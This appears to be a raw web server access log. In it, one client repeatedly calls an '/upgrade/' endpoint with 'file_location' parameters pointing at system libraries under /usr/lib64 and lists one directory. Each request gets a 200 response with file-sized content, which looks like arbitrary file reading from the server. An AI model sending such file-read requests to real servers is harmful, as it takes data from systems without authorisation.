45.135.193.11 - - [11/Sep/2026:23:03:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjcat.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140856 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjcat.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 307115 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmbuild.so.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 190112 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmbuild.so.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextpo.so.0.5.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 271124 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgettextpo.so.0.5.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:03:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibglib-2.0.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 633368 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibglib-2.0.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_trace.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120002 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_trace.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsensors.so.4.5.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128708 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsensors.so.4.5.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiffxx.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108554 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiffxx.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-mu.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 187613 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-mu.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibunistring.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 657213 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibunistring.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:02 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri2.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109949 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dri2.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblz4.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 169378 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblz4.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_import.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120314 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_import.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:03 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiffxx.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiffxx.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbregistry.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117172 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxkbregistry.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:04 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibct.so.4.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 296445 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibct.so.4.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnssutil3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 186183 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnssutil3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:05 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibogg.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123498 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibogg.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 307254 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-fapi.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 484921 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-fapi.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:06 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xtest.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106082 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xtest.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:07 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fsa HTTP/1.1" 200 6179 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fsa" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXpm.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140322 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXpm.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:08 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_swap.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110524 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_swap.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdevmapper.so.1.02&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 283935 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdevmapper.so.1.02&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkdb5.so.10.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140457 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkdb5.so.10.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:09 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnpth.so.0.1.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111243 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnpth.so.0.1.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnspr4.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 221006 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnspr4.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:10 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss3.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 658718 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss3.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasprintf.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107049 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasprintf.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbasicobjects.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107536 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbasicobjects.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:11 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_systemd.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 267441 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_systemd.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmsign.so.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113231 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpmsign.so.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:12 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsubid_sss.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110355 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsubid_sss.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteam.so.5.6.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126793 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibteam.so.5.6.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:13 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118362 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIlmThread-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116287 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibIlmThread-3_1.so.30.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:14 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_threads.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116682 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfftw3f_threads.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk_pixbuf-2.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 184982 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdk_pixbuf-2.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutu.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 194100 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutu.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenu.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119738 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenu.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisfile.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120776 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisfile.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dpms.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107624 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dpms.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblab_gamut.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 655941 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblab_gamut.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++w.so.6.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103833 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibncurses++w.so.6.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-krb5pac.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161598 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-krb5pac.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftables.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 497502 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnftables.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibplc4.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112943 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibplc4.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotoc.so.25.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1217553 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotoc.so.25.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsctp.so.1.0.19&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108805 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsctp.so.1.0.19&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstapp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138323 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstapp-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme-mi.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124503 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme-mi.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf-c.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122147 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibprotobuf-c.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstdc++.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 103875 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibstdc++.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtls.so.28&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136195 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtls.so.28&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuuid.so.1.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118446 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuuid.so.1.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-screensaver.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109005 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-screensaver.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatopology.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160668 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatopology.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefisec.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119785 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibefisec.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
